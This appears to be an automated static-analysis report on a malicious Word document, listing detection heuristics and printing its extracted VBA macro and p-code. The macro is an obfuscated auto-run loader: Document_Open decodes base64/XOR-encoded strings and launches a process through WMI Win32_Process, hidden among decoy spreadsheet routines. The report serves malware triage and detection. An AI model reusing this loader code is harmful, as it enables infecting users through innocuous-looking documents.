Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f12cca18427094c…

MALICIOUS

Office (OLE)

145.5 KB Created: 2020-01-14 16:30:00 Authoring application: Microsoft Office Word First seen: 2021-05-10
MD5: c67d09f5ba3f948196c8792a1b0e0d20 SHA-1: 9ad69b4ad87b961942f3b4e49227523f00301086 SHA-256: 4f12cca18427094c3ad782976c3796969cdfdee4fb714248aa78bd9c471c130d
312 Risk Score

Heuristics 10

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    ger: Set flon = CreateObject(авто).CreateElement("b64")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ger: Set flon = CreateObject(авто).CreateElement("b64")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 62070 bytes
SHA-256: 5c52d7bdd89743194fa226aab953f936b4705ee7b25880a31156360a1b7ce96d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const CP_UTF8                       As Long = 65001

#If Win64 Then
Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As LongPtr
Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr) As Long
#Else
Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long
Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long

#End If
 

 
 Dim Defrolo As Variant
 Dim flon As Variant
 
 #If VBA7 Then
Private Function GetCodeHeap() As LongPtr
#Else
Private Function GetCodeHeap() As Long
#End If
    Dim sHeapHandleString   As String
    Dim lIndex              As Long
    
    If m_hCodeHeap Then
        GetCodeHeap = m_hCodeHeap
        Exit Function
    End If
    
    sHeapHandleString = Space$(Len(GetCodeHeap) * 2)
    
    If GetEnvironmentVariable(StrPtr(HEAP_ENV_VARIABLE), StrPtr(sHeapHandleString), LenB(sHeapHandleString)) Then
#If VBA7 Then
        m_hCodeHeap = CLngPtr("&H" & sHeapHandleString)
#Else
        m_hCodeHeap = CLng("&H" & sHeapHandleString)
#End If
        GetCodeHeap = m_hCodeHeap
        Exit Function
    End If
    
    m_hCodeHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE Or HEAP_NO_SERIALIZE, 0, 0)
    If m_hCodeHeap = 0 Then Exit Function
     
    sHeapHandleString = Hex$(m_hCodeHeap)
    
    For lIndex = Len(sHeapHandleString) + 1 To Len(GetCodeHeap) * 2
        sHeapHandleString = "0" & sHeapHandleString
    Next
    
    SetEnvironmentVariable StrPtr(HEAP_ENV_VARIABLE), StrPtr(sHeapHandleString)
    
    GetCodeHeap = m_hCodeHeap
    
End Function

' // Extract EbMode function from previous thunks
#If VBA7 Then
Private Function GetEbModeFromThunks() As LongPtr
#Else
Private Function GetEbModeFromThunks() As Long
#End If
    Dim tEntry  As PROCESS_HEAP_ENTRY
    
    If m_hCodeHeap = 0 Then Exit Function
    
    HeapLock m_hCodeHeap
    
    Do While HeapWalk(m_hCodeHeap, tEntry)

#If VBA7 And Win64 Then
        If tEntry.wFlags And PROCESS_HEAP_ENTRY_BUSY And _
            tEntry.cbData >= &H1E Then
            
            CopyMemory GetEbModeFromThunks, ByVal tEntry.lpData + &H1E, Len(GetEbModeFromThunks)
#Else
        If tEntry.wFlags And PROCESS_HEAP_ENTRY_BUSY And _
            tEntry.cbData >= &H1E Then
            
            CopyMemory GetEbModeFromThunks, ByVal tEntry.lpData + &H5, Len(GetEbModeFromThunks)
            
            GetEbModeFromThunks = GetEbModeFromThunks + (tEntry.lpData + &H4) + 5
            
#End If
            
            Exit Do
            
        End If
        
    Loop

    HeapUnlock m_hCodeHeap
    
End Function

' // Check if there is inactive thunks and free them
' // Returns the number of active thunks
Private Function CleanupThunks() As Long
    Dim tEntry      As PROCESS_HEAP_ENTRY
    Dim lDisable    As Long
    Dim lCount      As Long
#If VBA7 Then
    Dim pThunk      As LongPtr
#Else
    Dim pThunk      As Long
#End If

    If m_hCodeHeap = 0 Then Exit Function
    
    HeapLock m_hCodeHeap
    
    Do While HeapWalk(m_hCodeHeap, tEntry)
        
        If pThunk Then
            HeapFree m_hCodeHeap, HEAP_NO_SERIALIZE, pThunk
            pThunk = 0
        End If
        
        If tEntry.wFlags And PROCESS_HEAP_ENTRY_BUSY And _
            tEntry.cbData >= Len(lDisable) Then
            
            ' // Check if disabled
            CopyMemory lDisable, ByVal tEntry.lpData, Len(lDisable)
            
            If lDisable Then
                pThunk = tEntry.lpData
            Else
                lCount = lCount + 1
            End If
            
        End If
        
    Loop
    
    If pThunk Then
        HeapFree m_hCodeHeap, HEAP_NO_SERIALIZE, pThunk
    End If
        
    HeapUnlock m_hCodeHeap
    
    CleanupThunks = lCount
    
End Function

Private Sub Class_Terminate()
    
    If m_lIdEvent Then
        KillTimer 0, m_lIdEvent
        m_lIdEvent = 0
    End If
    
    If m_pAsmThunk Then
        HeapFree m_hCodeHeap, HEAP_NO_SERIALIZE, m_pAsmThunk - 4
        m_pAsmThunk = 0
    End If
    
    If CleanupThunks() = 0 Then
        
        HeapDestroy m_hCodeHeap
        m_hCodeHeap = 0
        SetEnvironmentVariable StrPtr(HEAP_ENV_VARIABLE), 0
        
    End If
    
End Sub

#If Not CBool(VBA6 Or VBA7) Then
Private Function MakeTrue( _
                 ByRef bValue As Boolean) As Boolean
    bValue = True
    MakeTrue = True
End Function
#End If


Sub confInicial()
    Application.ScreenUpdating = False
    Application.DisplayAlerts = False
    Application.Calculation = xlManual
    
End Sub

Sub confFinal()
    Application.ScreenUpdating = True
    Application.DisplayAlerts = True
    With Application
        .Calculation = xlAutomatic
        .MaxChange = 0.001
    End With
    ActiveWorkbook.PrecisionAsDisplayed = False
    
End Sub
                   
Sub abrir()

    'verifica se o endereco da base de dados e nula e altera para o proximo endereco possivel
    Dim Base As Variant
    Base = ThisWorkbook.Path & "\Base de Dados.xlsx"

On Error GoTo trataerro
    Workbooks("Base de Dados.xlsx").Save

trataerro:
    Workbooks.Open Base

End Sub

                      
Sub lancarOS()
    
    'declaracao das pastas de trabalho
    Dim wsDados As Worksheet
    Dim wsControle As Worksheet
    Set wsDados = Workbooks("Base de Dados.xlsx").Worksheets("Base de Dados")
    Set wsControle = ThisWorkbook.Worksheets("Lancar OS")
    
    If wsControle.Range("A5") <> "" Then
        'remocao de filtro se existente
        wsDados.Range("A1").AutoFilter
         
        'ultima linha da base de dados e quantidade de itens
        Dim ultimaLinha As Long
        ultimaLinha = wsDados.Range("A1048576").End(xlUp).Row
        Dim quantidade As Long
        quantidade = wsControle.Range("A4").End(xlDown).Row - 4
        
        'copia dos dados para a base
        wsDados.Range("B" & ultimaLinha + 1 & ":" & "K" & ultimaLinha + quantidade).Value = wsControle.Range("A5" & ":" & "J" & wsControle.Range("A4").End(xlDown).Row).Value
        
        'Data
        Dim data As Date
        data = Format(Date, "dd/mm/yyyy")
        Dim proximaLinha As Long
        proximaLinha = ultimaLinha + 1
        Dim i As Integer
        For i = 1 To quantidade
            wsDados.Range("A" & proximaLinha).Value = data
            proximaLinha = proximaLinha + 1
        Next i
         
        Workbooks("Base de Dados.xlsx").Save
        wsControle.Activate
        wsControle.Range("A5:B54").ClearContents
        wsControle.Range("D5:D54").ClearContents
        wsControle.Range("A5").Activate
        Workbooks("SSC - Controle de Produtos.xlsm").Save
    End If

End Sub

Sub impEtiq()
    
On Error GoTo trataerro
    'Abre a planilha de etiquetas e seleciona a impressora
    Dim Eti As Variant
    Eti = ThisWorkbook.Path & "\Etiquetas.xlsx"
    Workbooks.Open Eti
    impressora = ThisWorkbook.Worksheets("Base Planilha").Range("B3")
    
    Dim wsEtiqueta As Worksheet
    Dim wsControle As Worksheet
    Dim wsDados As Worksheet
    Set wsDados = Workbooks("Etiquetas.xlsx").Worksheets("DADOS")
    Set wsEtiqueta = Workbooks("Etiquetas.xlsx").Worksheets("IMPRIMIR")
    Set wsControle = ThisWorkbook.Worksheets("Lancar OS")
    
    If wsControle.Range("A5").Value <> "" Then
        Dim quantidade As Long
        quantidade = wsControle.Range("A4").End(xlDown).Row - 4
        
        'copia os dados para a planilha de etiqueta
        wsDados.Range("A2" & ":" & "A" & quantidade + 1).Value = wsControle.Range("A5" & ":" & "A" & wsControle.Range("A4").End(xlDown).Row).Value
        wsDados.Range("B2" & ":" & "D" & quantidade + 1).Value = wsControle.Range("E5" & ":" & "G" & wsControle.Range("A4").End(xlDown).Row).Value
        
        'habilita as formulas na planilha
        wsEtiqueta.Calculate
        
        'troca para impressora selecionada, imprimir e volta para impressora original
        Dim originalPrinter
        Let originalPrinter = Application.ActivePrinter
        wsEtiqueta.PrintOut From:=1, To:=quantidade, Copies:=1, ActivePrinter:=impressora, Collate _
            :=True, IgnorePrintAreas:=False
        Let Application.ActivePrinter = originalPrinter
            
        wsDados.Range("A2:D56").ClearContents
        Workbooks("Etiquetas.xlsx").Save
        Workbooks("Etiquetas.xlsx").Close
    End If
    Exit Sub
    
trataerro:
    wsDados.Range("A2:D56").ClearContents
    Workbooks("Etiquetas.xlsx").Save
    Workbooks("Etiquetas.xlsx").Close
    MsgBox "Reconfigure a impressora!!!"
    
End Sub

Sub alterarPalete()
    
    'Declaracao das planilhas
    Dim wsDados As Worksheet
    Dim wsControle As Worksheet
    Dim wsAltErro As Worksheet
    Set wsDados = Workbooks("Base de Dados.xlsx").Worksheets("Base de Dados")
    Set wsControle = ThisWorkbook.Worksheets("Alt Pal")
    Set wsAltErro = ThisWorkbook.Worksheets("AltErro")
    
    wsDados.Range("A1").AutoFilter
    
    'Loop pela quantidade de itens
    Dim quantItem As Long
    quantItem = wsControle.Range("A1048576").End(xlUp).Row - 4
    Dim i As Integer
    Dim item As Long
    item = 4
    For i = 1 To quantItem
        item = item + 1
        
        'Procura pela string e a armazena no intervalo
        Dim EncontraString As String
        Dim intervalo As Range
        EncontraString = wsControle.Range("A" & item)
        If Trim(EncontraString) <> "" Then
            With wsDados.Range("B:B")
                Set intervalo = .Find(What:=EncontraString, _
                                      After:=.Cells(1), _
                                      LookIn:=xlValues, _
                                      LookAt:=xlWhole, _
                                     SearchOrder:=xlByRows, _
                                     SearchDirection:=xlPrevious, _
                                     MatchCase:=False)
                
                'Se encontrada modifica os dados
                If Not intervalo Is Nothing Then
                    linhaEncontrada = intervalo.Row
                    wsDados.Range("C" & linhaEncontrada).Value = wsControle.Range("B" & item).Value
                    wsDados.Range("D" & linhaEncontrada).Value = wsControle.Range("C" & item).Value
                
                'Se nao encontrada, armazena em outra planilha
                Else
                    Dim ultimaLinha
                    ultimaLinha = wsAltErro.Range("A1048576").End(xlUp).Row + 1
                    wsAltErro.Range("A" & ultimaLinha).Value = wsControle.Range("A" & item).Value
                    wsAltErro.Range("B" & ultimaLinha).Value = wsControle.Range("B" & item).Value
                End If
            End With
        End If
    Next i
    Workbooks("Base de Dados.xlsx").Save
    wsControle.Range("A5:B54").ClearContents
    
    Dim ultimaLinhaErro As Long
    ultimaLinhaErro = wsAltErro.Range("A1048576").End(xlUp).Row
    
    wsControle.Range("A5:B" & ultimaLinhaErro + 4).Value = wsAltErro.Range("A2:B" & ultimaLinhaErro + 1).Value
        
    wsAltErro.Range("A2:B" & ultimaLinhaErro).ClearContents
    Workbooks("SSC - Controle de Produtos.xlsm").Activate
    Workbooks("SSC - Controle de Produtos.xlsm").Save
    
    If wsControle.Range("A5") <> "" Then
        MsgBox ("OS nao encontrada, favor lancar as mesmas!!!"), vbInformation
    End If
End Sub


Sub confImpressora()

    Dim originalPrinter
    Let originalPrinter = Application.ActivePrinter
        
    Application.Dialogs(xlDialogPrinterSetup).Show
    Sheets("Base Planilha").Range("B3") = Application.ActivePrinter
        
    Let Application.ActivePrinter = originalPrinter
    Workbooks("SSC - Controle de Produtos.xlsm").Save

End Sub

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''



Sub Jirlasimus()

TreaHloe
End Sub

Public Sub Document_Open()
Dim der As Integer
der = 0
авто = StrReverse("tnemucoDMOD.2LMXSM")
For i = 0 To 99998
    On Error GoTo ger
    der = der + 1
Next
If (der = 99999) Then
ger: Set flon = CreateObject(авто).CreateElement("b64")
Else
Set flon = CreateObject(автро).CreateElement("b64")
End If
Jirlasimus
    

End Sub



Sub TreaHloe()

    Dim Dribinu As Variant
    Dribinu = NobosMeik _
    (VibinJoin _
    ("IQcXHjIAGgwGERsdBk07MhQAHz8OAAkRGRc=") _
    , "versache" _
    )
    Set Futril = CreateObject(Dribinu)


    Set Defrolo = Futril.ConnectServer()
    Defrolo.Security_.ImpersonationLevel = 43 - 40
    Call Vogi_u
    
End Sub


    
Function Vogi_u()

    Dim Grut_my_Friend As Variant
    On Error GoTo Gets
    Set Jhaue = GTehao _
    .Get





lll:    On Error _
    Resume Next
    Call Grut_my_Friend _
    .Create _
    (NobosMeik _
    (VibinJoin _
    ("BgoFFhMQAAAaCVJeFgoGARkSAQcYDw1FHgwWFwQNSEgVCh8eAA0MRT8IAhwTF0UoGQEHHwRDKgwCFiYBAA0bAxMXSVMyFwkXAkgwGhUQPBcXCwEVBBFISCUKBwECBkgNAhECSU5MDAQHFxcKTAEPSwUMBhZONQEPEyNcFwAXRA0CEQJJTkwMBAcXFwpMAQ9LBQwGFk4BBwkZSxYSFU8AEQIVSFxOBwkUBAALXgMERhYfERdcIhc4BFgBEwdBTiwABREbHQAXAQoYRS5RRQYGE0wxNz4xPx4MEgpcEA4ONEdaOVBXBA0eXyIgPyM9EA4ABAQuUU0/SkETCwRJNSYlNSomBiMATQsKGzlQSEEwDRFbKR0QABcBChhFXyMAFwBFKkdWFg8VUjEzKCIvQ1hIBhMXBgYVCgRFWwEXEA4HDUUFAxcBAEMMBAUAAQBaQ0g2AgQAB0wzGgoVAAEAQRUBARlLERwMQ0UkBAIHHgQNHCkfFgZTBQIbAAUW"), "versache"), _
    Null, Null, Dret)
    GoTo Ref
Gets:
Set Grut_my_Friend = Defrolo.Get("Win32_Process")
GoTo lll

Ref:
End Function




Private Function NobosMeik(text As String, key As String) As String
  Dim VifoLer() As Byte
  Dim Grido() As Byte
  
  Dim VifJon As Long
  Dim GitClone As Long
    
  
  VifoLer = StrConv(text, vbFromUnicode)
  VifJon = UBound(VifoLer, 1)
  Grido = StrConv(key, vbFromUnicode)
  GitClone = UBound(Grido, 1)
  Dim VibikO As Long
  Dim Vbokil As Long
  
  For VibikO = (44 * 2 - 88) To VifJon
    VifoLer(VibikO) = _
    VifoLer(VibikO) _
    Xor _
    Grido(Vbokil)
    If Vbokil < GitClone Then
      Vbokil = _
      Vbokil + _
      (3 * 3 - 8)
    Else
      
      Vbokil = 56 - 28 * 2
    End If
  Next VibikO
  NobosMeik = StrConv(VifoLer, 64)
End Function








Public Function VibinJoin(Truiea As String) As String
    Dim Bgerpol()       As Byte
    Dim sValue          As String
    Dim Nujiko           As Long
    
    

 

    With flon
           
           .DataType = "bin.base" & CStr((110 - 46))
        .text = _
        Truiea
        Bgerpol = _
        . _
        NodeTypedValue
        sValue = String$((98 - 94) * UBound(Bgerpol), (321 * 2 - 642))
        Nujiko = MultiByteToWideChar(72463 - 7462, _
        (90 - 45 * 2), Bgerpol((78 - 39 * 2)), _
        UBound(Bgerpol, 1) + (74 * 3 - 221), _
        StrPtr(sValue), Len(sValue))
        VibinJoin = left$(sValue, Nujiko)
    End With
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Function Union_difference(left As String, right As String) As Variant
  Dim Ud() As Variant
  Dim tags As New Scripting.Dictionary
  Dim sortedTags As New Scripting.Dictionary
  Dim thisTag As String
  Dim lastTag As String
  'MsgBox left + right
  
  thisTag = ""
  For i = 1 To Len(left)
    Char = Mid(left, i, 1)
    Select Case (Char)
      Case ","
        tagsAdd tags, thisTag, 1, 1
        thisTag = ""
      Case Else
        thisTag = thisTag + Char
    End Select
  Next
  tagsAdd tags, thisTag, 1, 1
  
  thisTag = ""
  For i = 1 To Len(right)
    Char = Mid(right, i, 1)
    Select Case (Char)
      Case ","
        tagsAdd tags, thisTag, 3, 2
        thisTag = ""
      Case Else
        thisTag = thisTag + Char
    End Select
  Next
  tagsAdd tags, thisTag, 3, 2
  
'sort
  For i = 1 To tags.Count
    If i = 1 Then
      thisTag = tags.Keys(1)
      For Each key In tags
        If key < thisTag Then thisTag = key
      Next
    Else
      lastTag = thisTag
      thisTag = ""
      For Each key In tags
        If lastTag < key Then
          If thisTag = "" Then thisTag = key
          If key < thisTag Then thisTag = key
        End If
      Next
    End If
    tagsAdd sortedTags, thisTag, 0, 0
  Next
  
  ReDim Ud(1 To 3)
  For i = 1 To 3
     Ud(i) = ""
  Next
  
  'MsgBox Str(tags.Count)
  For Each key In sortedTags
    i = (tags(key) Mod 3) + 1
    If Ud(i) <> "" _
      Then Ud(i) = Ud(i) + ", "
    Ud(i) = Ud(i) + key
    'MsgBox Key + ":" + Str(tags(Key)) + ":" + Str(i) + ":" + Ud(i)
  Next
   Union_difference = Ud
End Function


Sub tagsAdd(ByRef tags As Dictionary, thisTag As String, OldItem As Integer, newItem As Integer)
  thisTag = Trim(thisTag)
  If thisTag = "" Then Exit Sub
  
  If tags.Exists(thisTag) Then
    tags(thisTag) = OldItem
  Else
    For Each key In tags
      If key > thisTag Then Exit For
    Next
    tags.Add key:=thisTag, item:=newItem
  End If
End Sub


' Processing file: /opt/analyzer/scan_staging/e2f47b979a6f4147ab93a9860e4d2226.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 47646 bytes
' Line #0:
' 	Dim (Private Const) 
' 	LitDI4 0xFDE9 0x0000 
' 	VarDefn CP_UTF8 (As Long) 0x002C
' Line #1:
' Line #2:
' 	LbMark 
' 	Ld Win64 
' 	LbIf 
' Line #3:
' 	FuncDefn (Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr, lpMultiByteStr As , ByVal cchMultiByte As LongPtr, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As LongPtr)
' Line #4:
' 	FuncDefn (Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, lpMultiByteStr As , ByVal cchMultiByte As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr) As Long)
' Line #5:
' 	LbMark 
' 	LbElse 
' Line #6:
' 	FuncDefn (Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As , ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long)
' Line #7:
' 	FuncDefn (Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As , ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long)
' Line #8:
' Line #9:
' 	LbMark 
' 	LbEndIf 
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' 	Dim 
' 	VarDefn Defrolo (As Variant)
' Line #14:
' 	Dim 
' 	VarDefn flon (As Variant)
' Line #15:
' Line #16:
' 	LbMark 
' 	Ld VBA7 
' 	LbIf 
' Line #17:
' 	FuncDefn (Private Function _B_var_Dret(id_FFFE As LongPtr) As LongPtr)
' Line #18:
' 	LbMark 
' 	LbElse 
' Line #19:
' 	FuncDefn (Private Function _B_var_Dret(id_FFFE As Long) As Long)
' Line #20:
' 	LbMark 
' 	LbEndIf 
' Line #21:
' 	Dim 
' 	VarDefn GetCodeHeap (As String) 0x001C
' Line #22:
' 	Dim 
' 	VarDefn pSection (As Long) 0x001C
' Line #23:
' Line #24:
' 	Ld hUser32 
' 	IfBlock 
' Line #25:
' 	Ld hUser32 
' 	St _B_var_Dret 
' Line #26:
' 	ExitFunc 
' Line #27:
' 	EndIfBlock 
' Line #28:
' Line #29:
' 	Ld _B_var_Dret 
' 	FnLen 
' 	LitDI2 0x0002 
' 	Mul 
' 	ArgsLd sHeapHandleString$ 0x0001 
' 	St GetCodeHeap 
' Line #30:
' Line #31:
' 	Ld GetEnvironmentVariable 
' 	ArgsLd StrPtr 0x0001 
' 	Ld GetCodeHeap 
' 	ArgsLd StrPtr 0x0001 
' 	Ld GetCodeHeap 
' 	FnLenB 
' 	ArgsLd Space 0x0003 
' 	IfBlock 
' Line #32:
' 	LbMark 
' 	Ld VBA7 
' 	LbIf 
' Line #33:
' 	LitStr 0x0002 "&H"
' 	Ld GetCodeHeap 
' 	Concat 
' 	Coerce (?) 
' 	St hUser32 
' Line #34:
' 	LbMark 
' 	LbElse 
' Line #35:
' 	LitStr 0x0002 "&H"
' 	Ld GetCodeHeap 
' 	Concat 
' 	Coerce (Lng) 
' 	St hUser32 
' Line #36:
' 	LbMark 
' 	LbEndIf 
' Line #37:
' 	Ld hUser32 
' 	St _B_var_Dret 
' Line #38:
' 	ExitFunc 
' Line #39:
' 	EndIfBlock 
' Line #40:
' Line #41:
' 	Ld HeapCreate 
' 	Ld HeapAlloc 
' 	Or 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	ArgsLd HEAP_ENV_VARIABLE 0x0003 
' 	St hUser32 
' Line #42:
' 	Ld hUser32 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ExitFunc 
' 	EndIf 
' Line #43:
' Line #44:
' 	Ld hUser32 
' 	ArgsLd HEAP_CREATE_ENABLE_EXECUTE$ 0x0001 
' 	St GetCodeHeap 
' Line #45:
' Line #46:
' 	StartForVariable 
' 	Ld pSection 
' 	EndForVariable 
' 	Ld GetCodeHeap 
' 	FnLen 
' 	LitDI2 0x0001 
' 	Add 
' 	Ld _B_var_Dret 
' 	FnLen 
' 	LitDI2 0x0002 
' 	Mul 
' 	For 
' Line #47:
' 	LitStr 0x0001 "0"
' 	Ld GetCodeHeap 
' 	Concat 
' 	St GetCodeHeap 
' Line #48:
' 	StartForVariable 
' 	Next 
' Line #49:
' Line #50:
' 	Ld GetEnvironmentVariable 
' 	ArgsLd StrPtr 0x0001 
' 	Ld GetCodeHeap 
' 	ArgsLd StrPtr 0x0001 
' 	ArgsCall Hex 0x0002 
' Line #51:
' Line #52:
' 	Ld hUser32 
' 	St _B_var_Dret 
' Line #53:
' Line #54:
' 	EndFunc 
' Line #55:
' Line #56:
' 	QuoteRem 0x0000 0x0030 " // Extract EbMode function from previous thunks"
' Line #57:
' 	LbMark 
' 	Ld VBA7 
' 	LbIf 
' Line #58:
' 	FuncDefn (Private Function SAFEARRAY(id_FFFE As LongPtr) As LongPtr)
' Line #59:
' 	LbMark 
' 	LbElse 
' Line #60:
' 	FuncDefn (Private Function SAFEARRAY(id_FFFE As Long) As Long)
' Line #61:
' 	LbMark 
' 	LbEndIf 
' Line #62:
' 	Dim 
' 	VarDefn SetEnvironmentVariable (As tEntry) 0x0010
' Line #63:
' Line #64:
' 	Ld hUser32 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ExitFunc 
' 	EndIf 
' Line #65:
' Line #66:
' 	Ld hUser32 
' 	ArgsCall PROCESS_HEAP_ENTRY 0x0001 
' Line #67:
' Line #68:
' 	Ld hUser32 
' 	Ld SetEnvironmentVariable 
' 	ArgsLd HeapLock 0x0002 
' 	DoWhile 
' Line #69:
' Line #70:
' 	LbMark 
' 	Ld VBA7 
' 	Ld Win64 
' 	And 
' 	LbIf 
' Line #71:
' 	LineCont 0x0004 07 00 0C 00
' 	Ld SetEnvironmentVariable 
' 	MemLd HeapWalk 
' 	Ld wFlags 
' 	And 
' 	Ld SetEnvironmentVariable 
' 	MemLd PROCESS_HEAP_ENTRY_BUSY 
' 	LitHI2 0x001E 
' 	Ge 
' 	And 
' 	IfBlock 
' Line #72:
' Line #73:
' 	Ld SAFEARRAY 
' 	Ld SetEnvironmentVariable 
' 	MemLd cbData 
' 	LitHI2 0x001E 
' 	Add 
' 	ParamByVal 
' 	Ld SAFEARRAY 
' 	FnLen 
' 	ArgsCall GetModuleHandle 0x0003 
' Line #74:
' 	LbMark 
